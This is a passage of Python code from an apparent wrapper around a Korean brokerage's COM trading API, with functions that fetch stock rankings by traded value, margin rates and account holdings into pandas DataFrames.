query.SetFieldData(self._IN_BLOCK.replace("tmpnm", res_id), "gubun", 0, str(mkt_gb)) query.SetFieldData(self._IN_BLOCK.replace("tmpnm", res_id), "jnilgubun", 0, str(dt_gb)) if len(jc_num) == 0: pass else: sum_jc_num = sum(jc_num) query.SetFieldData(self._IN_BLOCK.replace("tmpnm", res_id), "jc_num", 0, str(sum_jc_num)) query.Request(0) while RequestSessionEventHandler.query_state == 0: pythoncom.PumpWaitingMessages() count = query.GetBlockCount( self._OUT_BLOCK1.replace("tmpnm", res_id)) for i in range(count): shcode = query.GetFieldData( self._OUT_BLOCK1.replace("tmpnm", res_id), "shcode", i) result_df.loc[i, "gicode"] = shcode hname = query.GetFieldData( self._OUT_BLOCK1.replace("tmpnm", res_id), "hname", i) result_df.loc[i, "stk_nm"] = hname volume = query.GetFieldData( self._OUT_BLOCK1.replace("tmpnm", res_id), "volume", i) result_df.loc[i, "volume"] = int(volume) value = query.GetFieldData( self._OUT_BLOCK1.replace("tmpnm", res_id), "value", i) result_df.loc[i, "value"] = int(value) if str(reverse) == '0': result_df["gicode"] = result_df["gicode"].apply( lambda x: 'A' + str(x)) result_df.sort(['value'], ascending=[0], axis=0, inplace=True) RequestSessionEventHandler.query_state = 0 return result_df elif str(reverse) == '1': result_df["gicode"] = result_df["gicode"].apply( lambda x: 'A' + str(x)) result_df.sort(['value'], ascending=[1], axis=0, inplace=True) RequestSessionEventHandler.query_state = 0 return result_df else: result_df = pd.DataFrame( columns=["gicode", "stk_nm", "volume", "value"]) temp_df = pd.DataFrame( columns=["gicode", "stk_nm", "volume", "value"]) req_cnt = 0 query = win32com.client.DispatchWithEvents( self._QUERY_NM, RequestSessionEventHandler) query.ResFileName = self.res_file_nm.replace("tmpnm", res_id) query.SetFieldData(self._IN_BLOCK.replace("tmpnm", res_id), "gubun", 0, str(mkt_gb)) query.SetFieldData(self._IN_BLOCK.replace("tmpnm", res_id), "jnilgubun", 0, str(dt_gb)) if len(jc_num) == 0: pass else: sum_jc_num = sum(jc_num) query.SetFieldData(self._IN_BLOCK.replace("tmpnm", res_id), "jc_num", 0, str(sum_jc_num)) query.Request(0) while RequestSessionEventHandler.query_state == 0: pythoncom.PumpWaitingMessages() req_cnt += 1 count = query.GetBlockCount( self._OUT_BLOCK1.replace("tmpnm", res_id)) # idx value for next request init_idx = int( query.GetFieldData( self._OUT_BLOCK.replace("tmpnm", res_id), "idx", 0)) for i in range(count): shcode = query.GetFieldData( self._OUT_BLOCK1.replace("tmpnm", res_id), "shcode", i) temp_df.loc[i, "gicode"] = shcode hname = query.GetFieldData( self._OUT_BLOCK1.replace("tmpnm", res_id), "hname", i) temp_df.loc[i, "stk_nm"] = hname volume = query.GetFieldData( self._OUT_BLOCK1.replace("tmpnm", res_id), "volume", i) temp_df.loc[i, "volume"] = int(volume) value = query.GetFieldData( self._OUT_BLOCK1.replace("tmpnm", res_id), "value", i) temp_df.loc[i, "value"] = int(value) result_df = result_df.append(temp_df, ignore_index=True) # request when the # of data is above 40 idx = init_idx while query.IsNext is True: if req_cnt == int(req_num): break else: RequestSessionEventHandler.query_state = 0 query.SetFieldData( self._IN_BLOCK.replace("tmpnm", res_id), "idx", 0, idx) query.Request(1) while RequestSessionEventHandler.query_state == 0: pythoncom.PumpWaitingMessages() # idx value for next request idx2 = int( query.GetFieldData( self._OUT_BLOCK.replace("tmpnm", res_id), "idx", 0)) idx += (idx2 - idx) for i in range(count): shcode = query.GetFieldData( self._OUT_BLOCK1.replace("tmpnm", res_id), "shcode", i) temp_df.loc[i, "gicode"] = shcode hname = query.GetFieldData( self._OUT_BLOCK1.replace("tmpnm", res_id), "hname", i) temp_df.loc[i, "stk_nm"] = hname volume = query.GetFieldData( self._OUT_BLOCK1.replace("tmpnm", res_id), "volume", i) temp_df.loc[i, "volume"] = int(volume) value = query.GetFieldData( self._OUT_BLOCK1.replace("tmpnm", res_id), "value", i) temp_df.loc[i, "value"] = int(value) req_cnt += 1 if req_cnt % 4 == 0: time.sleep(1) result_df = result_df.append(temp_df, ignore_index=True) if str(reverse) == '0': result_df.drop_duplicates(["gicode"], inplace=True) result_df["gicode"] = result_df["gicode"].apply( lambda x: 'A' + str(x)) result_df.sort(['value'], ascending=[0], axis=0, inplace=True) RequestSessionEventHandler.query_state = 0 return result_df elif str(reverse) == '1': result_df.drop_duplicates(["gicode"], inplace=True) result_df["gicode"] = result_df["gicode"].apply( lambda x: 'A' + str(x)) result_df.sort(['value'], ascending=[1], axis=0, inplace=True) RequestSessionEventHandler.query_state = 0 return result_df
def request2_margin(self, mkt_gb="", margin_rate="", credit_gb="", gicode="", res_id="t1411"): """ Load margin rate of stocks Parameters ---------- :param mkt_gb: 0: All 1:KOSPI 2:KOSDAQ :param margin_rate: 1) no credit 100 20 30 40 50 2) with credit 100 45 50 :param credit_gb: 1: no credit 2: with credit :param gicode: stock code :param res_id: t1411 Returns ------- :return: 1) gicode not null: outblock jkrate sjkrate 2) gicode null: outblock1 """ if str(mkt_gb) not in ['0', '1', '2']: print("mkt_gb should be in ['0', '1', '2']") return None elif str(credit_gb) not in ['1', '2']: print("credit_gb should be in ['0', '1']") return None elif (str(credit_gb) == '1') and (str(margin_rate) not in [ '100', '20', '30', '40', '50' ]): print("margin_rate should be in ['100', '20', '30', '40', '50']" "for credit_gb '1'") return None elif (str(credit_gb) == '2') and (str(margin_rate) not in ['100', '45', '50']): print("margin_rate should be in ['100', '45', '50']" "for credit_gb '2'") return None else: if gicode != "": result_df = pd.DataFrame( columns=["gicode", "jkrate", "sjkrate"]) query = win32com.client.DispatchWithEvents( self._QUERY_NM, RequestSessionEventHandler) query.ResFileName = self.res_file_nm.replace("tmpnm", res_id) query.SetFieldData(self._IN_BLOCK.replace("tmpnm", res_id), "shcode", 0, str(gicode[1:])) query.Request(0) while RequestSessionEventHandler.query_state == 0: pythoncom.PumpWaitingMessages() jkrate = query.GetFieldData( self._OUT_BLOCK.replace("tmpnm", res_id), "jkrate", 0) sjkrate = query.GetFieldData( self._OUT_BLOCK.replace("tmpnm", res_id), "sjkrate", 0) result_df.loc[0, "gicode"] = gicode result_df.loc[0, "jkrate"] = jkrate result_df.loc[0, "sjkrate"] = sjkrate RequestSessionEventHandler.query_state = 0 return result_df else: result_df = pd.DataFrame( columns=["gicode", "stk_nm", "jkrate", "sjkrate"]) temp_df = pd.DataFrame( columns=["gicode", "stk_nm", "jkrate", "sjkrate"]) query = win32com.client.DispatchWithEvents( self._QUERY_NM, RequestSessionEventHandler) query.ResFileName = self.res_file_nm.replace("tmpnm", res_id) query.SetFieldData(self._IN_BLOCK.replace("tmpnm", res_id), "gubun", 0, str(mkt_gb)) query.SetFieldData(self._IN_BLOCK.replace("tmpnm", res_id), "jkrate", 0, str(margin_rate) + "%") query.SetFieldData(self._IN_BLOCK.replace("tmpnm", res_id), "jongchk", 0, str(credit_gb)) query.Request(0) while RequestSessionEventHandler.query_state == 0: pythoncom.PumpWaitingMessages() count = query.GetBlockCount( self._OUT_BLOCK1.replace("tmpnm", res_id)) # idx value for next request init_idx = int( query.GetFieldData( self._OUT_BLOCK.replace("tmpnm", res_id), "idx", 0)) for i in range(count): shcode = query.GetFieldData( self._OUT_BLOCK1.replace("tmpnm", res_id), "shcode", i) temp_df.loc[i, "gicode"] = shcode hname = query.GetFieldData( self._OUT_BLOCK1.replace("tmpnm", res_id), "hname", i) temp_df.loc[i, "stk_nm"] = hname jkrate = query.GetFieldData( self._OUT_BLOCK1.replace("tmpnm", res_id), "jkrate", i) temp_df.loc[i, "jkrate"] = jkrate sjkrate = query.GetFieldData( self._OUT_BLOCK1.replace("tmpnm", res_id), "sjkrate", i) temp_df.loc[i, "sjkrate"] = sjkrate result_df = result_df.append(temp_df, ignore_index=True) # request when the # of data is above 40 idx = init_idx req_cnt = 0 while query.IsNext is True: RequestSessionEventHandler.query_state = 0 query.SetFieldData(self._IN_BLOCK.replace("tmpnm", res_id), "idx", 0, idx) query.Request(1) req_cnt += 1 while RequestSessionEventHandler.query_state == 0: pythoncom.PumpWaitingMessages() # idx value for next request idx2 = int( query.GetFieldData( self._OUT_BLOCK.replace("tmpnm", res_id), "idx", 0)) idx += (idx2 - idx) for i in range(count): shcode = query.GetFieldData( self._OUT_BLOCK1.replace("tmpnm", res_id), "shcode", i) temp_df.loc[i, "gicode"] = shcode hname = query.GetFieldData( self._OUT_BLOCK1.replace("tmpnm", res_id), "hname", i) temp_df.loc[i, "stk_nm"] = hname jkrate = query.GetFieldData( self._OUT_BLOCK1.replace("tmpnm", res_id), "jkrate", i) temp_df.loc[i, "jkrate"] = jkrate sjkrate = query.GetFieldData( self._OUT_BLOCK1.replace("tmpnm", res_id), "sjkrate", i) temp_df.loc[i, "sjkrate"] = sjkrate if req_cnt % 4 == 0: time.sleep(1) result_df = result_df.append(temp_df, ignore_index=True) result_df.drop_duplicates(["gicode"], inplace=True) result_df["gicode"] = result_df["gicode"].apply( lambda x: 'A' + str(x)) result_df.reset_index(drop=True, inplace=True) result_df.drop(result_df.index[[len(result_df) - 1]], inplace=True) RequestSessionEventHandler.query_state = 0 return result_df
def request2_account_result(self, account_num="", order_pw="", balance_gb="0", fee_gb="0", d2_gb="0", prc_gb="0", res_id="CSPAQ12300"): """ Load info about an account such as stock list, average buy price etc. Parameters ---------- :param account_num: 계좌번호 :param order_pw: 계좌비밀번호 :param balance_gb: 잔고구분 0: 전체 1: 현물 9: 선물대용 :param fee_gb: 수수료구분 0: 평가시 수수료 미적용 1: 평가시 수수료 적용 :param d2_gb: D+2 잔고보유 구분 0: 전부조회 1: D2잔고 0이상만 조회 :param prc_gb: 단가구분 0: 평균단가 1: BEP단가 :param res_id: CSPAQ12300 Returns ------- :return: Load info about an account IsuNo 종목코드 IsuNm 종목명 BalQty 잔고수량 PnlRat 손익률 AvrUprc 평균단가 SellAbleQty 매도가능수량 EvalPn 평가손익 """ final_df = pd.DataFrame(columns=[ "IsuNo", "IsuNm", "BalQty", "PnlRat", "AvrUprc", "SellAbleQty", "EvalPnl" ]) account_df = pd.DataFrame(columns=[ "IsuNo", "IsuNm", "BalQty", "PnlRat", "AvrUprc", "SellAbleQty", "EvalPnl" ]) query = win32com.client.DispatchWithEvents(self._QUERY_NM, RequestSessionEventHandler) query.ResFileName = self.res_file_nm.replace("tmpnm", res_id) query.SetFieldData(self._IN_BLOCK1.replace("tmpnm", res_id), "AcntNo", 0, str(account_num)) query.SetFieldData(self._IN_BLOCK1.replace("tmpnm", res_id), "Pwd", 0, str(order_pw)) query.SetFieldData(self._IN_BLOCK1.replace("tmpnm", res_id), "BalCreTp", 0, str(balance_gb)) query.SetFieldData(self._IN_BLOCK1.replace("tmpnm", res_id), "CmsnAppTpCode", 0, str(fee_gb)) query.SetFieldData(self._IN_BLOCK1.replace("tmpnm", res_id), "D2balBaseQryTp", 0, str(d2_gb)) query.SetFieldData(self._IN_BLOCK1.replace("tmpnm", res_id), "UprcTpCode", 0, str(prc_gb)) query.Request(0) while RequestSessionEventHandler.query_state == 0: pythoncom.PumpWaitingMessages() count = query.GetBlockCount(self._OUT_BLOCK3.replace("tmpnm", res_id)) for i in range(count): IsuNo = query.GetFieldData( self._OUT_BLOCK3.replace("tmpnm", res_id), "IsuNo", i) account_df.loc[i, "IsuNo"] = IsuNo IsuNm = query.GetFieldData( self._OUT_BLOCK3.replace("tmpnm", res_id), "IsuNm", i) account_df.loc[i, "IsuNm"] = IsuNm BalQty = query.GetFieldData( self._OUT_BLOCK3.replace("tmpnm", res_id), "BalQty", i) account_df.loc[i, "BalQty"] = BalQty PnlRat = query.GetFieldData( self._OUT_BLOCK3.replace("tmpnm", res_id), "PnlRat", i) account_df.loc[i, "PnlRat"] = PnlRat AvrUprc = query.GetFieldData( self._OUT_BLOCK3.replace("tmpnm", res_id), "AvrUprc", i) account_df.loc[i, "AvrUprc"] = AvrUprc SellAbleQty = query.GetFieldData( self._OUT_BLOCK3.replace("tmpnm", res_id), "SellAbleQty", i) account_df.loc[i, "SellAbleQty"] = SellAbleQty EvalPnl = query.GetFieldData( self._OUT_BLOCK3.replace("tmpnm", res_id), "EvalPnl", i) account_df.loc[i, "EvalPnl"] = EvalPnl final_df = final_df.append(account_df, ignore_index=True) # request when the # of data is above 10 while query.IsNext is True: RequestSessionEventHandler.query_state = 0 query.Request(1) while RequestSessionEventHandler.query_state == 0: pythoncom.PumpWaitingMessages() for i in range(count): IsuNo = query.GetFieldData( self._OUT_BLOCK3.replace("tmpnm", res_id), "IsuNo", i) account_df.loc[i, "IsuNo"] = IsuNo IsuNm = query.GetFieldData( self._OUT_BLOCK3.replace("tmpnm", res_id), "IsuNm", i) account_df.loc[i, "IsuNm"] = IsuNm BalQty = query.GetFieldData( self._OUT_BLOCK3.replace("tmpnm", res_id), "BalQty", i) account_df.loc[i, "BalQty"] = BalQty PnlRat = query.GetFieldData( self._OUT_BLOCK3.replace("tmpnm", res_id), "PnlRat", i) account_df.loc[i, "PnlRat"] = PnlRat AvrUprc = query.GetFieldData( self._OUT_BLOCK3.replace("tmpnm", res_id), "AvrUprc", i) account_df.loc[i, "AvrUprc"] = AvrUprc SellAbleQty = query.GetFieldData( self._OUT_BLOCK3.replace("tmpnm", res_id), "SellAbleQty", i) account_df.loc[i, "SellAbleQty"] = SellAbleQty EvalPnl = query.GetFieldData( self._OUT_BLOCK3.replace("tmpnm", res_id), "EvalPnl", i) account_df.loc[i, "EvalPnl"] = EvalPnl final_df = final_df.append(account_df, ignore_index=True) final_df = final_df[final_df["IsuNo"] != ""] RequestSessionEventHandler.query_state = 0 return final_df